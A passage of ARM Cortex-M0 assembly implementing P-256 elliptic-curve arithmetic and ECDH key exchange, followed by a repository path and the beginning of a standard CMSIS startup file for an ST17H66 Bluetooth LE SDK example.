r1!,{r0,r3,r4} ldm r2!,{r5,r6,r7} subs r0,r5 sbcs r3,r6 sbcs r4,r7 mov r8,r0 mov r9,r3 mov r10,r4 ldm r1!,{r5,r6} ldm r2!,{r3,r4} sbcs r5,r3 sbcs r6,r4 ldm r1,{r1,r3,r4} ldm r2,{r0,r2,r7} sbcs r1,r0 sbcs r3,r2 sbcs r4,r7 sbcs r7,r7 mov r2,r8 mov r8,r3 mov r11,r4 mov r3,r9 mov r4,r10 b reduce2 endp ; in: *r0 = output (8 words) ; out: r0 is preserved P256_load_1 proc movs r1,#1 stm r0!,{r1} movs r1,#0 movs r2,#0 stm r0!,{r1-r2} stm r0!,{r1-r2} stm r0!,{r1-r2} stm r0!,{r1} subs r0,#32 bx lr endp ; in: *r1 ; out: *r0 P256_to_montgomery proc push {r4-r7,lr} frame push {r4-r7,lr} adr r2,P256_R2_mod_p bl P256_mulmod pop {r4-r7,pc} endp align 4 ; (2^256)^2 mod p P256_R2_mod_p dcd 3 dcd 0 dcd 0xffffffff dcd 0xfffffffb dcd 0xfffffffe dcd 0xffffffff dcd 0xfffffffd dcd 4 ; in: *r1 ; out: *r0 P256_from_montgomery proc push {r4-r7,lr} frame push {r4-r7,lr} movs r2,#0 movs r3,#0 push {r2-r3} frame address sp,28 push {r2-r3} frame address sp,36 push {r2-r3} frame address sp,44 movs r2,#1 push {r2-r3} frame address sp,52 mov r2,sp bl P256_mulmod add sp,#32 frame address sp,20 pop {r4-r7,pc} endp ; Elliptic curve operations on the NIST curve P256 ; Checks if a point is on curve ; in: *r0 = x,y(,scratch) in Montgomery form ; out: r0 = 1 if on curve, otherwise 0 P256_point_is_on_curve proc if use_interpreter == 1 push {r0,lr} frame push {lr} frame address sp,8 adr r2,P256_point_is_on_curve_program bl P256_interpreter ldr r0,[sp] adds r0,#64 adr r1,P256_b_mont bl P256_greater_or_equal_than beq %f0 adr r0,P256_b_mont ldr r1,[sp] adds r1,#64 bl P256_greater_or_equal_than 0 pop {r1,pc} else push {r0,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 ; We verify y^2 - (x^3 - 3x) = b ; y^2 mov r1,r0 adds r1,#32 sub sp,#32 frame address sp,56 mov r0,sp bl P256_sqrmod ; x^2 ldr r1,[sp,#32] sub sp,#32 frame address sp,88 mov r0,sp bl P256_sqrmod ; x^3 mov r0,sp ldr r1,[sp,#64] mov r2,sp bl P256_mulmod ; x^3 - 3x movs r0,#3 0 push {r0} frame address sp,92 add r0,sp,#4 add r1,sp,#4 ldr r2,[sp,#68] bl P256_submod pop {r0} frame address sp,88 subs r0,#1 bne %b0 ; y^2 - (x^3 - 3x) mov r0,sp add r1,sp,#32 mov r2,sp bl P256_submod ; compare with b mov r0,sp adr r1,P256_b_mont bl P256_greater_or_equal_than beq %f1 adr r0,P256_b_mont mov r1,sp bl P256_greater_or_equal_than 1 add sp,#68 frame address sp,20 pop {r4-r7,pc} endif endp align 4 P256_b_mont dcd 0x29c4bddf dcd 0xd89cdf62 dcd 0x78843090 dcd 0xacf005cd dcd 0xf7212ed6 dcd 0xe5a220ab dcd 0x04874834 dcd 0xdc30061d if use_interpreter == 1 P256_point_is_on_curve_program dcw 0x2040 dcw 0x2130 dcw 0x1113 dcw 0x4113 dcw 0x4113 dcw 0x4113 dcw 0x4501 dcw 0x0000 endif ; input: *r0 = value, *r1 = limit ; output: 1 if value >= limit, otherwise 0 P256_greater_or_equal_than proc push {r4-r6,lr} frame push {r4-r6,lr} subs r5,r5 ; set r5 to 0 and C to 1 mvns r6,r5 ; set r6 to -1 movs r2,#8 0 ldm r0!,{r3} ldm r1!,{r4} sbcs r3,r4 add r2,r2,r6 tst r2,r2 bne %b0 adcs r5,r5 mov r0,r5 pop {r4-r6,pc} endp ; in: *r0 = output location, *r1 = input, *r2 = 0/1, *r3 = m ; if r2 = 0, then *r0 is set to *r1 ; if r2 = 1, then *r0 is set to m - *r1 ; note that *r1 should be in the range [1,m-1] ; out: r0 and r1 will have advanced 32 bytes, r2 will remain as the input P256_negate_mod_m_if proc push {r4-r7,lr} frame push {r4-r7,lr} movs r4,#1 rsbs r5,r4,#0 ; r5=-1 mov r8,r5 subs r4,r4,r2 ; r4=!r2, C=1 movs r6,#8 0 ldm r1!,{r5} ldm r3!,{r7} sbcs r7,r5 muls r7,r2,r7 muls r5,r4,r5 add r7,r7,r5 stm r0!,{r7} add r6,r6,r8 tst r6,r6 bne %b0 pop {r4-r7,pc} endp ; copies 8 words ; in: *r0 = result, *r1 = input ; out: *r0 = end of result, *r1 = end of input P256_copy32 proc push {r4-r5,lr} frame push {r4-r5,lr} ldm r1!,{r2-r5} stm r0!,{r2-r5} ldm r1!,{r2-r5} stm r0!,{r2-r5} pop {r4-r5,pc} endp ; copies 32 bytes ; in: *r0 = result, *r1 = input ; out: *r0 = end of result, *r1 = end of input P256_copy32_unaligned proc movs r2,#32 add r2,r0 0 ldrb r3,[r1] strb r3,[r0] adds r1,#1 adds r0,#1 cmp r0,r2 bne %b0 bx lr endp ; Selects one of many values ; *r0 = output, *r1 = table, r2 = index to choose [0..7] P256_select proc push {r2,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 movs r6,#4 0 push {r0,r6} frame address sp,32 movs r7,#0 mov r8,r7 mov r9,r7 mov r10,r7 mov r11,r7 mov r12,r7 mov lr,r7 1 ldr r0,[sp,#8] eors r0,r7 mrs r0,apsr lsrs r0,#30 ldm r1!,{r2-r4} muls r2,r0,r2 muls r3,r0,r3 muls r4,r0,r4 add r8,r2 add r9,r3 add r10,r4 ldm r1!,{r2-r4} muls r2,r0,r2 muls r3,r0,r3 muls r4,r0,r4 add r11,r2 add r12,r3 add lr,r4 adds r1,#72 adds r7,#1 cmp r7,#8 bne %b1 pop {r0,r6} frame address sp,24 mov r2,r8 mov r3,r9 mov r4,r10 stm r0!,{r2-r4} mov r2,r11 mov r3,r12 mov r4,lr stm r0!,{r2-r4} subs r1,#248 subs r1,#248 subs r1,#248 subs r6,#1 bne %b0 pop {r0,r4-r7,pc} endp ; Doubles the point in Jacobian form (integers are in Montgomery form) ; *r0 = out, *r1 = in P256_double_j proc if use_interpreter == 1 adr r2,P256_double_j_prog b P256_interpreter else push {r0,r1,r4-r7,lr} frame push {r4-r7,lr} frame address sp,28 ; https://eprint.iacr.org/2014/130.pdf, algorithm 10 ; t1 = Z1^2 sub sp,#32 frame address sp,60 mov r0,sp adds r1,#64 bl P256_sqrmod ; Z2 = Y1 * Z1 ldr r0,[sp,#32] ldr r1,[sp,#36] adds r0,#64 adds r1,#32 movs r2,#32 adds r2,r1 bl P256_mulmod ; t2 = X1 + t1 ldr r1,[sp,#36] mov r2,sp sub sp,#32 frame address sp,92 mov r0,sp bl P256_addmod ; t1 = X1 - t1 ldr r1,[sp,#68] add r2,sp,#32 mov r0,r2 bl P256_submod ; t1 = t1 * t2 add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_mulmod ; t2 = t1 / 2 add sp,#32 frame address sp,60 mov r7,sp ldm r7!,{r0-r3} lsls r6,r0,#31 asrs r5,r6,#31 lsrs r6,#31 movs r4,#0 adds r0,r5 adcs r1,r5 adcs r2,r5 adcs r3,r4 push {r0-r3} frame address sp,76 ldm r7!,{r0-r3} adcs r0,r4 adcs r1,r4 adcs r2,r6 adcs r3,r5 movs r4,#0 adcs r4,r4 lsls r7,r4,#31 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 lsls r3,r0,#31 mov r8,r3 pop {r0-r3} frame address sp,60 push {r4-r7} frame address sp,76 mov r7,r8 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 push {r4-r7} frame address sp,92 ; t1 = t1 + t2 add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_addmod ; t2 = t1^2 mov r0,sp add r1,sp,#32 bl P256_sqrmod ; Y2 = Y1^2 ldr r0,[sp,#64] ldr r1,[sp,#68] adds r0,#32 adds r1,#32 bl P256_sqrmod ; t3 = Y2^2 ldr r1,[sp,#64] adds r1,#32 sub sp,#32 frame address sp,124 mov r0,sp bl P256_sqrmod ; Y2 = X1 * Y2 ldr r0,[sp,#96] ldr r1,[sp,#100] adds r0,#32 mov r2,r0 bl P256_mulmod ; X2 = 2 * Y2 ldr r0,[sp,#96] mov r1,r0 adds r1,#32 mov r2,r1 bl P256_addmod ; X2 = t2 - X2 ldr r0,[sp,#96] add r1,sp,#32 mov r2,r0 bl P256_submod ; t2 = Y2 - X2 ldr r2,[sp,#96] mov r1,r2 adds r1,#32 add r0,sp,#32 bl P256_submod ; t1 = t1 * t2 add r0,sp,#64 add r1,sp,#64 add r2,sp,#32 bl P256_mulmod ; Y2 = t1 - t3 ldr r0,[sp,#96] adds r0,#32 add r1,sp,#64 mov r2,sp bl P256_submod add sp,#104 frame address sp,20 pop {r4-r7,pc} endif endp ; Adds or subtracts points in Jacobian form (integers are in Montgomery form) ; The first operand is located in *r0, the second in *r1 (may not overlap) ; The result is stored at *r0 ; ; Requirements: ; - no operand is the point at infinity ; - both operand must be different ; - one operand must not be the negation of the other ; If requirements are not met, the returned Z point will be 0 P256_add_j proc if use_interpreter == 1 adr r2,P256_add_j_prog b P256_interpreter else push {r0,r1,r4-r7,lr} frame push {r4-r7,lr} frame address sp,28 ; Here a variant of ; https://www.hyperelliptic.org/EFD/g1p/auto-code/shortw/jacobian-3/addition/add-1998-cmo-2.op3 ; is used, but rearranged and uses less temporaries. ; The first operand to the function is both (X3,Y3,Z3) and (X2,Y2,Z2). ; The second operand to the function is (X1,Y1,Z1) ; Z1Z1 = Z1^2 sub sp,#32 frame address sp,60 mov r0,sp adds r1,#64 bl P256_sqrmod ; U2 = X2*Z1Z1 ldr r1,[sp,#32] mov r2,sp mov r0,r1 bl P256_mulmod ; t1 = Z1*Z1Z1 ldr r1,[sp,#36] adds r1,#64 mov r2,sp mov r0,sp bl P256_mulmod ; S2 = Y2*t1 ldr r1,[sp,#32] adds r1,#32 mov r2,sp mov r0,r1 bl P256_mulmod ; Z2Z2 = Z2^2 sub sp,#32 frame address sp,92 mov r0,sp ldr r1,[sp,#64] adds r1,#64 bl P256_sqrmod ; U1 = X1*Z2Z2 ldr r1,[sp,#68] mov r2,sp add r0,sp,#32 bl P256_mulmod ; t2 = Z2*Z2Z2 ldr r1,[sp,#64] adds r1,#64 mov r2,sp mov r0,sp bl P256_mulmod ; S1 = Y1*t2 ldr r1,[sp,#68] adds r1,#32 mov r2,sp mov r0,sp bl P256_mulmod ; H = U2-U1 ldr r1,[sp,#64] add r2,sp,#32 mov r0,r1 bl P256_submod ; HH = H^2 ldr r1,[sp,#64] sub sp,#32 frame address sp,124 mov r0,sp bl P256_sqrmod ; Z3 = Z2*H ldr r2,[sp,#96] mov r1,r2 adds r1,#64 mov r0,r1 bl P256_mulmod ; Z3 = Z1*Z3 ldr r1,[sp,#100] adds r1,#64 ldr r2,[sp,#96] adds r2,#64 mov r0,r2 bl P256_mulmod ; HHH = H*HH ldr r1,[sp,#96] mov r2,sp mov r0,r1 bl P256_mulmod ; r = S2-S1 ldr r1,[sp,#96] adds r1,#32 add r2,sp,#32 mov r0,r1 bl P256_submod ; V = U1*HH add r1,sp,#64 mov r2,sp mov r0,r1 bl P256_mulmod ; t3 = r^2 ldr r1,[sp,#96] adds r1,#32 mov r0,sp bl P256_sqrmod ; t2 = S1*HHH add r1,sp,#32 ldr r2,[sp,#96] add r0,sp,#32 bl P256_mulmod ; X3 = t3-HHH mov r1,sp ldr r2,[sp,#96] mov r0,r2 bl P256_submod ; t3 = 2*V add r1,sp,#64 add r2,sp,#64 mov r0,sp bl P256_addmod ; X3 = X3-t3 ldr r1,[sp,#96] mov r2,sp mov r0,r1 bl P256_submod ; t3 = V-X3 add r1,sp,#64 ldr r2,[sp,#96] mov r0,sp bl P256_submod ; t3 = r*t3 ldr r1,[sp,#96] adds r1,#32 mov r2,sp mov r0,sp bl P256_mulmod ; Y3 = t3-t2 mov r1,sp add r2,sp,#32 ldr r0,[sp,#96] adds r0,#32 bl P256_submod add sp,#104 frame address sp,20 pop {r4-r7,pc} endif endp if use_interpreter == 1 align 4 P256_add_j_prog dcw 0x2080 dcw 0x1330 dcw 0x1080 dcw 0x1440 dcw 0x2150 dcw 0x1061 dcw 0x1151 dcw 0x1171 dcw 0x4330 dcw 0x2230 dcw 0x1553 dcw 0x1585 dcw 0x1332 dcw 0x4441 dcw 0x1002 dcw 0x2240 dcw 0x1113 dcw 0x4323 dcw 0x3200 dcw 0x4332 dcw 0x4203 dcw 0x1242 dcw 0x4421 dcw 0x0000 align 4 P256_double_j_prog dcw 0x2080 dcw 0x1578 dcw 0x3160 dcw 0x4060 dcw 0x1001 dcw 0x5100 dcw 0x3001 dcw 0x2100 dcw 0x2470 dcw 0x2240 dcw 0x1464 dcw 0x3344 dcw 0x4313 dcw 0x4143 dcw 0x1001 dcw 0x4402 dcw 0x0000 ; in: *r0 = output, *r1 = input P256_div2mod proc mov r9,r0 mov r7,r1 ldm r7!,{r0-r3} lsls r6,r0,#31 asrs r5,r6,#31 lsrs r6,#31 movs r4,#0 adds r0,r5 adcs r1,r5 adcs r2,r5 adcs r3,r4 push {r0-r3} frame address sp,76 ldm r7!,{r0-r3} adcs r0,r4 adcs r1,r4 adcs r2,r6 adcs r3,r5 movs r4,#0 adcs r4,r4 lsls r7,r4,#31 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 lsls r3,r0,#31 mov r0,r9 adds r0,#16 stm r0!,{r4-r7} mov r7,r3 pop {r0-r3} lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 mov r0,r9 stm r0!,{r4-r7} bx lr endp ; in: *r0 = op1, *r1 = op2, *r2 = program ; program is an array of 16-bit integers, ending with 0x0000 ; in an opcode, bit 12-15 is function to execute (exit, mul, sqr, add, sub, div2), ; bit 8-11 is dest, bit 4-7 is first operand, bit 0-3 is second operand ; the operand is encoded like this: ; operand 0-2 is temporary variable 0-2 ; operand 3-5 is op1[0], op1[1], op1[2] ; operand 6-8 is op2[0], op2[1], op2[2] ; each variable is 32 bytes ; for a function taking less than two parameters, the extra parameters are ignored P256_interpreter proc push {r4-r7,lr} frame push {r4-r7,lr} sub sp,#96 frame address sp,116 movs r3,#32 mov r4,r1 adds r5,r1,r3 adds r6,r5,r3 push {r4-r6} frame address sp,128 mov r4,r0 adds r5,r0,r3 adds r6,r5,r3 push {r4-r6} frame address sp,140 add r4,sp,#24 adds r5,r4,r3 adds r6,r5,r3 push {r4-r6} frame address sp,152 0 movs r4,#0x3c mov r5,sp ldrh r3,[r2] adds r2,#2 push {r2} frame address sp,156 lsls r2,r3,#2 ands r2,r4 ldr r2,[r5,r2] lsrs r1,r3,#2 ands r1,r4 ldr r1,[r5,r1] lsrs r0,r3,#6 ands r0,r4 ldr r0,[r5,r0] adr r5,P256_functions-4 lsrs r6,r3,#10 ands r6,r4 beq %f1 ldr r6,[r5,r6] blx r6 pop {r2} frame address sp,152 b %b0 1 frame address sp,156 add sp,#136 frame address sp,20 pop {r4-r7,pc} endp align 4 P256_functions dcd P256_mulmod ;1 dcd P256_sqrmod ;2 dcd P256_addmod ;3 dcd P256_submod ;4 dcd P256_div2mod ;5 endif if use_smaller_modinv == 1 ; in/out: r0-r7 P256_modinv proc push {r0-r7,lr} frame push {r4-r7,lr} frame address sp,36 sub sp,#36 frame address sp,72 mov r0,sp bl P256_load_1 mov r1,r0 bl P256_to_montgomery adr r0,P256_p ldm r0,{r0-r7} subs r0,#2 push {r0-r7} frame address sp,104 movs r0,#255 0 str r0,[sp,#64] add r0,sp,#32 add r1,sp,#32 bl P256_sqrmod ldr r0,[sp,#64] lsrs r1,r0,#3 add r1,r1,sp ldrb r1,[r1] movs r2,#7 ands r2,r2,r0 lsrs r1,r2 movs r2,#1 tst r1,r2 beq %f1 add r0,sp,#32 add r1,sp,#32 add r2,sp,#68 bl P256_mulmod 1 ldr r0,[sp,#64] subs r0,#1 bpl %b0 add sp,#32 frame address sp,72 pop {r0-r7} frame address sp,40 add sp,#36 frame address sp,4 pop {pc} endp else ; in: *r0 = input/output, r1 = count, *r2 = operand for final multiplication P256_sqrmod_many_and_mulmod proc push {r0,r2,lr} frame push {lr} frame address sp,12 cmp r1,#0 beq %f1 0 push {r1} frame address sp,16 ldr r0,[sp,#4] mov r1,r0 bl P256_sqrmod pop {r1} frame address sp,12 subs r1,#1 bne %b0 1 pop {r0,r1} frame address sp,4 mov r2,r0 bl P256_mulmod pop {pc} endp ; in: *r0 = value in/out ; for modinv, call input a, then if a = A * R % p, then it calculates A^-1 * R % p = (a/R)^-1 * R % p = R^2 / a % p P256_modinv proc push {r0,lr} frame push {lr} frame address sp,8 ldm r0,{r0-r7} push {r0-r7} frame address sp,40 ; t = a^2*a ldr r0,[sp,#32] movs r1,#1 mov r2,sp bl P256_sqrmod_many_and_mulmod ldr r0,[sp,#32] ldm r0,{r0-r7} push {r0-r7} frame address sp,72 ; a4_2 = a2_0^(2^2) ldr r0,[sp,#64] mov r1,r0 bl P256_sqrmod ldr r0,[sp,#64] mov r1,r0 bl P256_sqrmod ldr r0,[sp,#64] ldm r0,{r0-r7} push {r0-r7} frame address sp,104 ; a4_0 = a4_2*a2_0 ldr r0,[sp,#96] mov r1,sp add r2,sp,#32 bl P256_mulmod add r0,sp,#32 ldr r1,[sp,#96] bl P256_copy32 ldr r7,[sp,#96] movs r4,#0 0 adr r2,P256_invtbl ldrsb r0,[r2,r4] adds r2,#1 ldrb r5,[r2,r4] lsls r6,r0,#2 bpl %f1 sub sp,#32 frame address sp,200 ; not always correct mov r0,sp mov r1,r7 bl P256_copy32 1 mov r0,r7 uxtb r1,r6 mov r2,r5 add r2,sp push {r4,r7} frame address sp,208 ; not always correct bl P256_sqrmod_many_and_mulmod pop {r4,r7} frame address sp,200 ; not always correct adds r4,#2 cmp r4,#22 bne %b0 add sp,#6*32+4 frame address sp,4 pop {pc} endp align 4 P256_invtbl dcb ((8-4)>>2) dcb 32 dcb ((16-8)>>2)+128 dcb 0 dcb (16>>2)+128 dcb 0 dcb (32>>2)+128 dcb 5*32 dcb (192-64)>>2 dcb 0 dcb (224-192)>>2 dcb 0 dcb (240-224)>>2 dcb 32 dcb (248-240)>>2 dcb 64 dcb (252-248)>>2 dcb 128 dcb (256-252)>>2 dcb 96 dcb 0 dcb 5*32 endif ; *r0 = output affine montgomery/input jacobian montgomery P256_jacobian_to_affine proc push {r0,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 adds r0,#64 ldm r0,{r0-r7} if use_smaller_modinv == 0 push {r0-r7} frame address sp,56 mov r0,sp bl P256_modinv else bl P256_modinv push {r0-r7} frame address sp,56 endif mov r1,sp sub sp,#32 frame address sp,88 mov r0,sp bl P256_sqrmod add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_mulmod mov r1,sp ldr r0,[sp,#64] mov r2,r0 bl P256_mulmod add r1,sp,#32 ldr r0,[sp,#64] adds r0,#32 mov r2,r0 bl P256_mulmod add sp,#68 frame address sp,20 pop {r4-r7,pc} endp ; performs r0 := abs(r0) P256_abs_int proc rsbs r2,r0,#0 asrs r3,r0,#31 ands r3,r2 asrs r2,#31 ands r0,r2 orrs r0,r0,r3 bx lr endp ; in: *r0 = output, *r1 = point, *r2 = scalar, r3 = include y in result (1/0) ; out: r0 = 1 on success, 0 if invalid point or scalar P256_pointmult proc export P256_pointmult push {r4-r7,lr} frame push {r4-r7,lr} mov r4,r8 mov r5,r9 mov r6,r10 mov r7,r11 push {r0-r1,r4-r7} frame address sp,44 frame save {r8-r11},-36 sub sp,#256 frame address sp,300 lsls r6,r3,#16 ; load scalar into an aligned position add r0,sp,#32 mov r1,r2 bl P256_copy32_unaligned ; fail if scalar == 0 mov r0,sp bl P256_load_1 add r0,sp,#32 mov r1,sp bl P256_greater_or_equal_than bne %f1 0 add sp,#256+8 frame address sp,36 b %f10 frame address sp,300 1 ; fail if not (scalar < n) add r0,sp,#32 adr r1,P256_order bl P256_greater_or_equal_than subs r0,#1 beq %b0 ; select scalar if scalar is odd and -scalar mod n if scalar is even mov r0,sp add r1,sp,#32 ldr r2,[r1] movs r3,#1 ands r2,r3 eors r2,r3 add r6,r2 ; save original parity of scalar adr r3,P256_order bl P256_negate_mod_m_if ; stack layout (initially offset 768): ; 0-767: table of jacobian points P, 3P, 5P, ..., 15P ; 768-863: current point (in jacobian form) ; 864-927: scalar rewritten into 4-bit window, each element having an odd signed value ; 928-1023: extracted selected point from the table ; 1024-1027: output pointer ; 1028-1031: input point ; rewrite scalar into 4-bit window where every value is odd add r1,sp,#864-768 ldr r0,[sp] lsls r0,#28 lsrs r0,#28 movs r2,#1 mov r4,sp movs r5,#1 2 lsrs r3,r2,#1 ldrb r3,[r4,r3] lsls r7,r2,#31 lsrs r7,#29 lsrs r3,r7 lsls r3,#28 lsrs r3,#28 movs r7,#1 ands r7,r3 eors r7,r5 lsls r7,#4 subs r0,r7 strb r0,[r1] adds r1,#1 orrs r3,r5 mov r0,r3 adds r2,#1 cmp r2,#64 bne %b2 strb r0,[r1] ; load point into an aligned position ldr r1,[sp,#1028-768] sub sp,#384 frame address sp,684 sub sp,#384 frame address sp,1068 mov r0,sp bl P256_copy32_unaligned bl P256_copy32_unaligned ; fail if not x, y < p mov r0,sp adr r1,P256_p bl P256_greater_or_equal_than subs r0,#1 bne %f4 3 add sp,#384 frame address sp,684 add sp,#384 frame address sp,300 b %b0 frame address sp,1068 4 add r0,sp,#32 adr r1,P256_p bl P256_greater_or_equal_than subs r0,#1 beq %b3 ; convert basepoint x, y to montgomery form, ; and place result as first element in table of Jacobian points mov r0,sp mov r1,sp bl P256_to_montgomery add r0,sp,#32 add r1,sp,#32 bl P256_to_montgomery ; check that the basepoint lies on the curve mov r0,sp bl P256_point_is_on_curve cmp r0,#0 beq %b3 ; load montgomery 1 for Z add r0,sp,#64 bl P256_load_1 mov r1,r0 bl P256_to_montgomery ; temporarily calculate 2P add r0,sp,#7*96 mov r1,sp bl P256_double_j ; calculate rest of the table (3P, 5P, ..., 15P) add r4,sp,#96 movs r5,#7 5 mov r0,r4 add r1,sp,#7*96 bl P256_copy32 bl P256_copy32 bl P256_copy32 mov r0,r4 mov r1,r0 subs r1,#96 bl P256_add_j adds r4,#96 subs r5,#1 bne %b5 ; select the initial current point based on the first highest 4 scalar bits add r7,sp,#928 subs r7,#1 ldrb r0,[r7] subs r7,#1 sxtb r0,r0 bl P256_abs_int lsrs r2,r0,#1 add r0,sp,#768 mov r1,sp bl P256_select ; main loop iterating from index 62 to 0 of the windowed scalar add r5,sp,#864 6 movs r4,#4 7 add r0,sp,#768 mov r1,r0 bl P256_double_j subs r4,#1 bne %b7 ; select the point to add, and then add to the current point ldrb r0,[r7] subs r7,#1 sxtb r0,r0 lsrs r4,r0,#31 bl P256_abs_int lsrs r2,r0,#1 add r0,sp,#928 mov r1,sp bl P256_select add r0,sp,#960 mov r1,r0 mov r2,r4 adr r3,P256_p bl P256_negate_mod_m_if cmp r7,r5 bge %f8 ; see note below add r0,sp,#672 add r1,sp,#768 bl P256_double_j 8 add r0,sp,#768 add r1,sp,#928 bl P256_add_j cmp r7,r5 bge %b6 ; Note: ONLY for the scalars 2 and -2 mod n, the last addition will ; be an addition where both input values are equal. The addition algorithm ; fails for such a case (returns Z=0) and we must therefore use the doubling ; formula. Both values are computed and then the correct value is selected ; in constant time based on whether the addition formula returned Z=0. ; Obviously if the scalar (private key) is properly randomized, this would ; (with extremely high probability), never occur. mov r0,sp bl P256_load_1 add r0,sp,#768+64 mov r1,sp bl P256_greater_or_equal_than adds r2,r0,#6 add r0,sp,#928 add r1,sp,#96 bl P256_select add sp,#464 ;928/2 frame address sp,604 add sp,#464 frame address sp,140 mov r0,sp bl P256_jacobian_to_affine mov r0,sp mov r1,sp bl P256_from_montgomery add r0,sp,#32 add r1,sp,#32 bl P256_from_montgomery add r0,sp,#32 add r1,sp,#32 uxtb r2,r6 adr r3,P256_p bl P256_negate_mod_m_if ldr r0,[sp,#96] mov r1,sp bl P256_copy32_unaligned lsrs r6,#16 beq %f9 bl P256_copy32_unaligned 9 movs r0,#1 add sp,#96+8 frame address sp,36 10 pop {r4-r7} frame address sp,20 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 pop {r4-r7,pc} endp ; in: *r0 = output, *r1 = private key scalar ; out: r0 = 1 on success, 0 if scalar is out of range P256_ecdh_keygen proc export P256_ecdh_keygen mov r2,r1 adr r1,P256_basepoint movs r3,#1 b P256_pointmult endp ; in: *r0 = output, *r1 = other's public point, *r2 = private key scalar ; out: r0 = 1 on success, 0 if invalid public point or private key scalar P256_ecdh_shared_secret proc export P256_ecdh_shared_secret movs r3,#0 b P256_pointmult endp align 4 P256_p dcd 0xffffffff dcd 0xffffffff dcd 0xffffffff dcd 0 dcd 0 dcd 0 dcd 1 dcd 0xffffffff P256_order dcd 0xFC632551 dcd 0xF3B9CAC2 dcd 0xA7179E84 dcd 0xBCE6FAAD dcd 0xFFFFFFFF dcd 0xFFFFFFFF dcd 0 dcd 0xFFFFFFFF P256_basepoint dcd 0xD898C296 dcd 0xF4A13945 dcd 0x2DEB33A0 dcd 0x77037D81 dcd 0x63A440F2 dcd 0xF8BCE6E5 dcd 0xE12C4247 dcd 0x6B17D1F2 dcd 0x37BF51F5 dcd 0xCBB64068 dcd 0x6B315ECE dcd 0x2BCE3357 dcd 0x7C0F9E16 dcd 0x8EE7EB4A dcd 0xFE1A7F9B dcd 0x4FE342E2 end

17HXX/BLE5_ST17H66

8,652

ST17H66_SDK_3.0.9/example/ble_multi/simpleBleMultiConnection/RTE/Device/ARMCM0/startup_ARMCM0.s

;/**************************************************************************//** ; * @file startup_ARMCM0.s ; * @brief CMSIS Core Device Startup File for ; * ARMCM0 Device Series ; * @version V5.00 ; * @date 02. March 2016 ; ******************************************************************************/ ;/* ; * Copyright (c) 2009-2016 ARM Limited. All rights reserved. ; * ; * SPDX-License-Identifier: Apache-2.0 ; * ; * Licensed under the Apache License, Version 2.0 (the License); you may ; * not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an AS IS BASIS, WITHOUT ; * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; */ ;/* ;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------ ;*/ ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x00000400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x00000100 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WDT_IRQHandler ; 0: Watchdog Timer DCD RTC_IRQHandler ; 1: Real Time Clock DCD TIM0_IRQHandler ; 2: Timer0 / Timer1 DCD TIM2_IRQHandler ; 3: Timer2 / Timer3 DCD MCIA_IRQHandler ; 4: MCIa DCD MCIB_IRQHandler ; 5: MCIb DCD UART0_IRQHandler ; 6: UART0 - DUT FPGA DCD UART1_IRQHandler ; 7: UART1 - DUT FPGA DCD UART2_IRQHandler ; 8: UART2 - DUT FPGA DCD UART4_IRQHandler ; 9: UART4 - not connected DCD AACI_IRQHandler ; 10: AACI / AC97 DCD CLCD_IRQHandler ; 11: CLCD Combined Interrupt DCD ENET_IRQHandler ; 12: Ethernet DCD USBDC_IRQHandler ; 13: USB Device DCD USBHC_IRQHandler ; 14: USB Host Controller DCD CHLCD_IRQHandler ; 15: Character LCD DCD FLEXRAY_IRQHandler ; 16: Flexray DCD CAN_IRQHandler ; 17: CAN DCD LIN_IRQHandler ; 18: LIN DCD I2C_IRQHandler ; 19: I2C ADC/DAC DCD 0 ; 20: Reserved DCD 0 ; 21: Reserved DCD 0 ; 22: Reserved DCD 0 ; 23: Reserved DCD 0 ; 24: Reserved DCD 0 ; 25: Reserved DCD 0 ; 26: Reserved DCD 0 ; 27: Reserved DCD CPU_CLCD_IRQHandler ; 28: Reserved - CPU FPGA CLCD DCD 0 ; 29: 